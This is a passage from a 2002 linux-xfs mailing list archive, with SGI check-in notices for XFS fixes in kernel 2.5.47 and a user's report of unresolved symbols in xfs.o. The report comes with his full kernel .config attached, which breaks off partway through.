(SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA16772 for ; Mon, 11 Nov 2002 10:25:31 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gABGPTkZ32253380 for ; Mon, 11 Nov 2002 08:25:30 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gABGNf9M011407 for ; Mon, 11 Nov 2002 17:23:42 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gABGNfKB011406 for hch@sgi.com; Mon, 11 Nov 2002 17:23:41 +0100 Date: Mon, 11 Nov 2002 17:23:41 +0100 From: Christoph Hellwig Message-Id: <200211111623.gABGNfKB011406@lab343.munich.sgi.com> Subject: TAKE - Remove leftovers from the old config system To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Mon, 11 Nov 2002 18:40:54 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1625 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 11 08:24:31 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132674a linux/arch/i386/config.in - 1.99 linux/arch/i386/Config.help - 1.20 - this should have been gone in the 2.5.45 merge From owner-linux-xfs@oss.sgi.com Mon Nov 11 08:31:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 08:31:22 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABGVJuR006660 for ; Mon, 11 Nov 2002 08:31:20 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA00916 for ; Mon, 11 Nov 2002 10:32:44 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA00826 for ; Mon, 11 Nov 2002 10:32:44 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gABGVbP27338; Mon, 11 Nov 2002 10:31:37 -0600 Subject: XFS in 2.5.47 From: Steve Lord To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 11 Nov 2002 10:31:37 -0600 Message-Id: <1037032297.19272.13.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1626 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs OK, looks like all is not actually well, I tested my kernel before drinking my coffee and I was not testing the kernel I thought I was. Stay tuned. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Nov 11 08:35:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 08:35:54 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABGZquR007093 for ; Mon, 11 Nov 2002 08:35:52 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA39406 for ; Mon, 11 Nov 2002 10:37:17 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA47240 for ; Mon, 11 Nov 2002 10:37:16 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gABGa9I27406; Mon, 11 Nov 2002 10:36:09 -0600 Message-Id: <200211111636.gABGa9I27406@jen.americas.sgi.com> Date: Mon, 11 Nov 2002 10:36:09 -0600 Subject: TAKE - use new timer initialization macro To: linux-xfs@oss.sgi.com X-archive-position: 1627 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Removes a runtime warning from XFS. Date: Mon Nov 11 08:35:43 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132675a linux/fs/xfs/pagebuf/page_buf.c - 1.73 From owner-linux-xfs@oss.sgi.com Mon Nov 11 08:59:09 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 08:59:12 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABGx8uR007704 for ; Mon, 11 Nov 2002 08:59:08 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA59824 for ; Mon, 11 Nov 2002 11:00:33 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA13770 for ; Mon, 11 Nov 2002 11:00:26 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gABGxCk27752; Mon, 11 Nov 2002 10:59:12 -0600 Message-Id: <200211111659.gABGxCk27752@jen.americas.sgi.com> Date: Mon, 11 Nov 2002 10:59:12 -0600 Subject: TAKE - fix kdb build for 2.5.47 To: linux-xfs@oss.sgi.com X-archive-position: 1628 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 11 08:43:18 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132676a linux/arch/i386/kernel/traps.c - 1.67 From owner-linux-xfs@oss.sgi.com Mon Nov 11 09:18:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 09:18:07 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABHI2uR008276 for ; Mon, 11 Nov 2002 09:18:02 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA16069 for ; Mon, 11 Nov 2002 11:19:27 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA19001 for ; Mon, 11 Nov 2002 11:19:27 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gABHIKB29309; Mon, 11 Nov 2002 11:18:20 -0600 Message-Id: <200211111718.gABHIKB29309@jen.americas.sgi.com> Date: Mon, 11 Nov 2002 11:18:20 -0600 Subject: TAKE - make 2.5.47 xfs really work To: linux-xfs@oss.sgi.com X-archive-position: 1629 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Couple of chunks missing from 2.5.47 merge, these were in the mainline and I dropped them. After this the tree works again. Steve Date: Mon Nov 11 09:18:27 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132680a linux/fs/xfs/pagebuf/page_buf.c - 1.74 - put a cast back in - keep code same as Linus's version. linux/fs/xfs/linux/xfs_aops.c - 1.19 - extra argument on readpages, we oops without this From owner-linux-xfs@oss.sgi.com Mon Nov 11 11:27:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 11:27:06 -0800 (PST) Received: from rrzs2.rz.uni-regensburg.de (rrzs2.rz.uni-regensburg.de [132.199.1.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABJQxuR009974 for ; Mon, 11 Nov 2002 11:26:59 -0800 Received: from pc9391 (pc9391.physik.uni-regensburg.de [132.199.98.219]) by rrzs2.rz.uni-regensburg.de (8.11.6+Sun/8.11.6) with ESMTP id gABDmUc16143; Mon, 11 Nov 2002 14:48:30 +0100 (MET) Date: Mon, 11 Nov 2002 14:48:29 +0100 From: Christian Guggenberger To: linux-kernel@vger.kernel.org Cc: linux-xfs@oss.sgi.com Subject: 2.5.47 : unresolved symbols in xfs.o Message-ID: <20021111144829.O26124@pc9391.uni-regensburg.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=_C7zPtVaVf+AK4O" Content-Transfer-Encoding: 8bit X-Mailer: Balsa 1.2.4 Lines: 1000 X-archive-position: 1630 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: christian.guggenberger@physik.uni-regensburg.de Precedence: bulk X-list: linux-xfs --=_C7zPtVaVf+AK4O Content-Type: text/plain; format=flowed; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Just compiled 2.5.47, but can't boot due to unresolved Symbols in xfs.o. Sorry, I don't have dmesg output available. .config is attached. Christian --=_C7zPtVaVf+AK4O Content-Type: text/plain Content-Disposition: attachment; filename="config.txt" # # Automatically generated make config: don't edit # CONFIG_X86=y CONFIG_MMU=y CONFIG_SWAP=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y # # General setup # CONFIG_NET=y CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y # # Loadable module support # CONFIG_MODULES=y CONFIG_MODVERSIONS=y CONFIG_KMOD=y # # Processor type and features # # CONFIG_M386 is not set # CONFIG_M486 is not set # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set CONFIG_MK7=y # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_TSC=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_USE_3DNOW=y # CONFIG_HUGETLB_PAGE is not set # CONFIG_SMP is not set CONFIG_PREEMPT=y CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_MCE=y # CONFIG_X86_MCE_NONFATAL is not set CONFIG_X86_MCE_P4THERMAL=y # CONFIG_CPU_FREQ is not set # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set # CONFIG_EDD is not set CONFIG_NOHIGHMEM=y # CONFIG_HIGHMEM4G is not set # CONFIG_HIGHMEM64G is not set # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y CONFIG_HAVE_DEC_LOCK=y # # Power management options (ACPI, APM) # # # ACPI Support # # CONFIG_ACPI is not set CONFIG_PM=y CONFIG_APM=y # CONFIG_APM_IGNORE_USER_SUSPEND is not set # CONFIG_APM_DO_ENABLE is not set # CONFIG_APM_CPU_IDLE is not set CONFIG_APM_DISPLAY_BLANK=y # CONFIG_APM_RTC_IS_GMT is not set # CONFIG_APM_ALLOW_INTS is not set # CONFIG_APM_REAL_MODE_POWER_OFF is not set # # Bus options (PCI, PCMCIA, EISA, MCA, ISA) # CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y # CONFIG_SCx200 is not set CONFIG_PCI_NAMES=y CONFIG_ISA=y # CONFIG_EISA is not set # CONFIG_MCA is not set CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set # # PCI Hotplug Support # # CONFIG_HOTPLUG_PCI is not set # # Executable file formats # CONFIG_KCORE_ELF=y # CONFIG_KCORE_AOUT is not set # CONFIG_BINFMT_AOUT is not set CONFIG_BINFMT_ELF=y CONFIG_BINFMT_MISC=y # # Memory Technology Devices (MTD) # # CONFIG_MTD is not set # # Parallel port support # # CONFIG_PARPORT is not set # # Plug and Play configuration # CONFIG_PNP=y CONFIG_PNP_NAMES=y CONFIG_PNP_DEBUG=y # # Protocols # CONFIG_ISAPNP=y CONFIG_PNPBIOS=y # # Block devices # CONFIG_BLK_DEV_FD=m # CONFIG_BLK_DEV_XD is not set # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=m # CONFIG_BLK_DEV_NBD is not set CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_SIZE=4096 # CONFIG_LBD is not set # # ATA/ATAPI/MFM/RLL device support # CONFIG_IDE=y # # IDE, ATA and ATAPI Block devices # CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set # CONFIG_BLK_DEV_HD is not set CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y # CONFIG_IDEDISK_STROKE is not set CONFIG_BLK_DEV_IDECD=y # CONFIG_BLK_DEV_IDEFLOPPY is not set # CONFIG_IDE_TASK_IOCTL is not set # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_ISAPNP is not set CONFIG_BLK_DEV_IDEPCI=y CONFIG_BLK_DEV_GENERIC=y CONFIG_IDEPCI_SHARE_IRQ=y CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_IDE_TCQ is not set # CONFIG_BLK_DEV_OFFBOARD is not set # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_PCI_WIP is not set CONFIG_BLK_DEV_ADMA=y # CONFIG_BLK_DEV_AEC62XX is not set # CONFIG_BLK_DEV_ALI15X3 is not set # CONFIG_BLK_DEV_AMD74XX is not set # CONFIG_BLK_DEV_CMD64X is not set # CONFIG_BLK_DEV_CY82C693 is not set # CONFIG_BLK_DEV_CS5530 is not set # CONFIG_BLK_DEV_HPT34X is not set CONFIG_BLK_DEV_HPT366=y # CONFIG_BLK_DEV_PIIX is not set # CONFIG_BLK_DEV_NFORCE is not set # CONFIG_BLK_DEV_NS87415 is not set # CONFIG_BLK_DEV_OPTI621 is not set # CONFIG_BLK_DEV_PDC202XX_OLD is not set # CONFIG_BLK_DEV_PDC202XX_NEW is not set # CONFIG_BLK_DEV_RZ1000 is not set # CONFIG_BLK_DEV_SVWKS is not set # CONFIG_BLK_DEV_SIIMAGE is not set # CONFIG_BLK_DEV_SIS5513 is not set # CONFIG_BLK_DEV_SLC90E66 is not set # CONFIG_BLK_DEV_TRM290 is not set CONFIG_BLK_DEV_VIA82CXXX=y # CONFIG_IDE_CHIPSETS is not set CONFIG_IDEDMA_AUTO=y # CONFIG_IDEDMA_IVB is not set CONFIG_BLK_DEV_IDE_MODES=y # # SCSI device support # # CONFIG_SCSI is not set # # Old CD-ROM drivers (not SCSI, not IDE) # # CONFIG_CD_NO_IDESCSI is not set # # Multi-device support (RAID and LVM) # # CONFIG_MD is not set # # Fusion MPT device support # # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # # CONFIG_IEEE1394 is not set # # I2O device support # # CONFIG_I2O is not set # # Networking options # CONFIG_PACKET=y # CONFIG_PACKET_MMAP is not set # CONFIG_NETLINK_DEV is not set # CONFIG_NETFILTER is not set CONFIG_FILTER=y CONFIG_UNIX=y # CONFIG_NET_KEY is not set CONFIG_INET=y CONFIG_IP_MULTICAST=y # CONFIG_IP_ADVANCED_ROUTER is not set # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE is not set # CONFIG_IP_MROUTE is not set # CONFIG_ARPD is not set # CONFIG_INET_ECN is not set # CONFIG_SYN_COOKIES is not set # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_IPV6 is not set # # SCTP Configuration (EXPERIMENTAL) # CONFIG_IPV6_SCTP__=y # CONFIG_IP_SCTP is not set # CONFIG_ATM is not set # CONFIG_VLAN_8021Q is not set # CONFIG_LLC is not set # CONFIG_DECNET is not set # CONFIG_BRIDGE is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_NET_DIVERT is not set # CONFIG_ECONET is not set # CONFIG_WAN_ROUTER is not set # CONFIG_NET_FASTROUTE is not set # CONFIG_NET_HW_FLOWCONTROL is not set # # QoS and/or fair queueing # # CONFIG_NET_SCHED is not set # # Network testing # # CONFIG_NET_PKTGEN is not set # # Network device support # CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set CONFIG_DUMMY=m # CONFIG_BONDING is not set # CONFIG_EQUALIZER is not set # CONFIG_TUN is not set # CONFIG_ETHERTAP is not set # CONFIG_NET_SB1000 is not set # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y # CONFIG_HAPPYMEAL is not set # CONFIG_SUNGEM is not set # CONFIG_NET_VENDOR_3COM is not set # CONFIG_LANCE is not set # CONFIG_NET_VENDOR_SMC is not set # CONFIG_NET_VENDOR_RACAL is not set # # Tulip family network device support # # CONFIG_NET_TULIP is not set # CONFIG_AT1700 is not set # CONFIG_DEPCA is not set # CONFIG_HP100 is not set # CONFIG_NET_ISA is not set CONFIG_NET_PCI=y # CONFIG_PCNET32 is not set # CONFIG_ADAPTEC_STARFIRE is not set # CONFIG_AC3200 is not set # CONFIG_APRICOT is not set # CONFIG_B44 is not set # CONFIG_CS89x0 is not set # CONFIG_DGRS is not set # CONFIG_EEPRO100 is not set CONFIG_E100=y # CONFIG_FEALNX is not set # CONFIG_NATSEMI is not set # CONFIG_NE2K_PCI is not set # CONFIG_8139CP is not set # CONFIG_8139TOO is not set # CONFIG_SIS900 is not set # CONFIG_EPIC100 is not set # CONFIG_SUNDANCE is not set # CONFIG_TLAN is not set CONFIG_VIA_RHINE=m # CONFIG_VIA_RHINE_MMIO is not set # CONFIG_NET_POCKET is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set # CONFIG_SK98LIN is not set # CONFIG_TIGON3 is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_PPP is not set # CONFIG_SLIP is not set # # Wireless LAN (non-hamradio) # # CONFIG_NET_RADIO is not set # # Token Ring devices # # CONFIG_TR is not set # CONFIG_NET_FC is not set # CONFIG_RCPCI is not set # CONFIG_SHAPER is not set # # Wan interfaces # # CONFIG_WAN is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # # CONFIG_IRDA is not set # # ISDN subsystem # # CONFIG_ISDN_BOOL is not set # # Telephony Support # # CONFIG_PHONE is not set # # Input device support # CONFIG_INPUT=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # CONFIG_INPUT_JOYDEV is not set # CONFIG_INPUT_TSDEV is not set # CONFIG_INPUT_EVDEV is not set # CONFIG_INPUT_EVBUG is not set # # Input I/O drivers # # CONFIG_GAMEPORT is not set CONFIG_SOUND_GAMEPORT=y CONFIG_SERIO=y CONFIG_SERIO_I8042=y # CONFIG_SERIO_SERPORT is not set # CONFIG_SERIO_CT82C710 is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_KEYBOARD_NEWTON is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_INPORT is not set # CONFIG_MOUSE_LOGIBM is not set # CONFIG_MOUSE_PC110PAD is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TOUCHSCREEN is not set # CONFIG_INPUT_MISC is not set # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y # CONFIG_SERIAL_NONSTANDARD is not set # # Serial drivers # CONFIG_SERIAL_8250=y # CONFIG_SERIAL_8250_CONSOLE is not set # CONFIG_SERIAL_8250_EXTENDED is not set # # Non-8250 serial port support # CONFIG_SERIAL_CORE=y CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 # # I2C support # CONFIG_I2C=m CONFIG_I2C_ALGOBIT=m # CONFIG_I2C_ELV is not set # CONFIG_I2C_VELLEMAN is not set # CONFIG_SCx200_ACB is not set # CONFIG_I2C_ALGOPCF is not set CONFIG_I2C_CHARDEV=m CONFIG_I2C_PROC=m # # Mice # # CONFIG_BUSMOUSE is not set # CONFIG_QIC02_TAPE is not set # # Watchdog Cards # # CONFIG_WATCHDOG is not set # CONFIG_INTEL_RNG is not set # CONFIG_AMD_RNG is not set CONFIG_NVRAM=m CONFIG_RTC=y # CONFIG_DTLK is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # CONFIG_SONYPI is not set # # Ftape, the floppy tape device driver # # CONFIG_FTAPE is not set # CONFIG_AGP is not set # CONFIG_DRM is not set # CONFIG_MWAVE is not set CONFIG_RAW_DRIVER=m # # Multimedia devices # CONFIG_VIDEO_DEV=m # # Video For Linux # CONFIG_VIDEO_PROC_FS=y # # Video Adapters # # CONFIG_VIDEO_BT848 is not set # CONFIG_VIDEO_PMS is not set # CONFIG_VIDEO_CPIA is not set # CONFIG_VIDEO_SAA5249 is not set # CONFIG_TUNER_3036 is not set # CONFIG_VIDEO_STRADIS is not set # CONFIG_VIDEO_ZORAN is not set # CONFIG_VIDEO_ZR36120 is not set # CONFIG_VIDEO_SAA7134 is not set # # Radio Adapters # # CONFIG_RADIO_CADET is not set # CONFIG_RADIO_RTRACK is not set # CONFIG_RADIO_RTRACK2 is not set # CONFIG_RADIO_AZTECH is not set # CONFIG_RADIO_GEMTEK is not set # CONFIG_RADIO_GEMTEK_PCI is not set # CONFIG_RADIO_MAXIRADIO is not set # CONFIG_RADIO_MAESTRO is not set # CONFIG_RADIO_SF16FMI is not set # CONFIG_RADIO_TERRATEC is not set # CONFIG_RADIO_TRUST is not set # CONFIG_RADIO_TYPHOON is not set # CONFIG_RADIO_ZOLTRIX is not set # # Digital Video Broadcasting Devices # CONFIG_DVB=y CONFIG_DVB_CORE=m # # Supported Frontend Modules # # CONFIG_DVB_ALPS_BSRU6 is not set # CONFIG_DVB_ALPS_BSRV2 is not set # CONFIG_DVB_GRUNDIG_29504_491 is not set # CONFIG_DVB_GRUNDIG_29504_401 is not set # CONFIG_DVB_VES1820 is not set # # Supported DVB Adapters # CONFIG_DVB_AV7110=m CONFIG_DVB_AV7110_OSD=y # # File systems # # CONFIG_QUOTA is not set # CONFIG_AUTOFS_FS is not set CONFIG_AUTOFS4_FS=y # CONFIG_REISERFS_FS is not set # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set # CONFIG_HFS_FS is not set # CONFIG_BEFS_FS is not set # CONFIG_BFS_FS is not set CONFIG_EXT3_FS=y CONFIG_EXT3_FS_XATTR=y # CONFIG_EXT3_FS_POSIX_ACL is not set CONFIG_JBD=y # CONFIG_JBD_DEBUG is not set CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_VFAT_FS=m # CONFIG_EFS_FS is not set # CONFIG_CRAMFS is not set CONFIG_TMPFS=y CONFIG_RAMFS=y CONFIG_ISO9660_FS=y CONFIG_JOLIET=y # CONFIG_ZISOFS is not set # CONFIG_JFS_FS is not set # CONFIG_MINIX_FS is not set # CONFIG_VXFS_FS is not set # CONFIG_NTFS_FS is not set # CONFIG_HPFS_FS is not set CONFIG_PROC_FS=y # CONFIG_DEVFS_FS is not set CONFIG_DEVPTS_FS=y # CONFIG_QNX4FS_FS is not set # CONFIG_ROMFS_FS is not set CONFIG_EXT2_FS=y # CONFIG_EXT2_FS_XATTR is not set # CONFIG_SYSV_FS is not set # CONFIG_UDF_FS is not set # CONFIG_UFS_FS is not set CONFIG_XFS_FS=m # CONFIG_XFS_RT is not set # CONFIG_XFS_QUOTA is not set CONFIG_XFS_POSIX_ACL=y # # Network File Systems # # CONFIG_CODA_FS is not set # CONFIG_INTERMEZZO_FS is not set CONFIG_NFS_FS=y CONFIG_NFS_V3=y # CONFIG_NFS_V4 is not set CONFIG_NFSD=y CONFIG_NFSD_V3=y # CONFIG_NFSD_V4 is not set # CONFIG_NFSD_TCP is not set CONFIG_SUNRPC=y CONFIG_LOCKD=y CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=y # CONFIG_CIFS is not set CONFIG_SMB_FS=m # CONFIG_SMB_NLS_DEFAULT is not set CONFIG_NCP_FS=m # CONFIG_NCPFS_PACKET_SIGNING is not set # CONFIG_NCPFS_IOCTL_LOCKING is not set # CONFIG_NCPFS_STRONG is not set CONFIG_NCPFS_NFS_NS=y # CONFIG_NCPFS_OS2_NS is not set # CONFIG_NCPFS_SMALLDOS is not set # CONFIG_NCPFS_NLS is not set # CONFIG_NCPFS_EXTRAS is not set # CONFIG_AFS_FS is not set CONFIG_FS_MBCACHE=y # # Partition Types # # CONFIG_PARTITION_ADVANCED is not set CONFIG_MSDOS_PARTITION=y CONFIG_SMB_NLS=y CONFIG_NLS=y # # Native Language Support # CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=m # CONFIG_NLS_CODEPAGE_737 is not set # CONFIG_NLS_CODEPAGE_775 is not set CONFIG_NLS_CODEPAGE_850=m # CONFIG_NLS_CODEPAGE_852 is not set # CONFIG_NLS_CODEPAGE_855 is not set # CONFIG_NLS_CODEPAGE_857 is not set # CONFIG_NLS_CODEPAGE_860 is not set # CONFIG_NLS_CODEPAGE_861 is not set # CONFIG_NLS_CODEPAGE_862 is not set # CONFIG_NLS_CODEPAGE_863 is not set # CONFIG_NLS_CODEPAGE_864 is not set # CONFIG_NLS_CODEPAGE_865 is not set # CONFIG_NLS_CODEPAGE_866 is not set # CONFIG_NLS_CODEPAGE_869 is not set # CONFIG_NLS_CODEPAGE_936 is not set # CONFIG_NLS_CODEPAGE_950 is not set # CONFIG_NLS_CODEPAGE_932 is not set # CONFIG_NLS_CODEPAGE_949 is not set # CONFIG_NLS_CODEPAGE_874 is not set # CONFIG_NLS_ISO8859_8 is not set # CONFIG_NLS_CODEPAGE_1250 is not set # CONFIG_NLS_CODEPAGE_1251 is not set CONFIG_NLS_ISO8859_1=m # CONFIG_NLS_ISO8859_2 is not set # CONFIG_NLS_ISO8859_3 is not set # CONFIG_NLS_ISO8859_4 is not set # CONFIG_NLS_ISO8859_5 is not set # CONFIG_NLS_ISO8859_6 is not set # CONFIG_NLS_ISO8859_7 is not set # CONFIG_NLS_ISO8859_9 is not set # CONFIG_NLS_ISO8859_13 is not set # CONFIG_NLS_ISO8859_14 is not set CONFIG_NLS_ISO8859_15=m # CONFIG_NLS_KOI8_R is not set # CONFIG_NLS_KOI8_U is not set CONFIG_NLS_UTF8=m # # Console drivers # CONFIG_VGA_CONSOLE=y # CONFIG_VIDEO_SELECT is not set # CONFIG_MDA_CONSOLE is not set # # Frame-buffer support # # CONFIG_FB is not set # # Sound # CONFIG_SOUND=m # # Open Sound System # # CONFIG_SOUND_PRIME is not set # # Advanced Linux Sound Architecture # CONFIG_SND=m 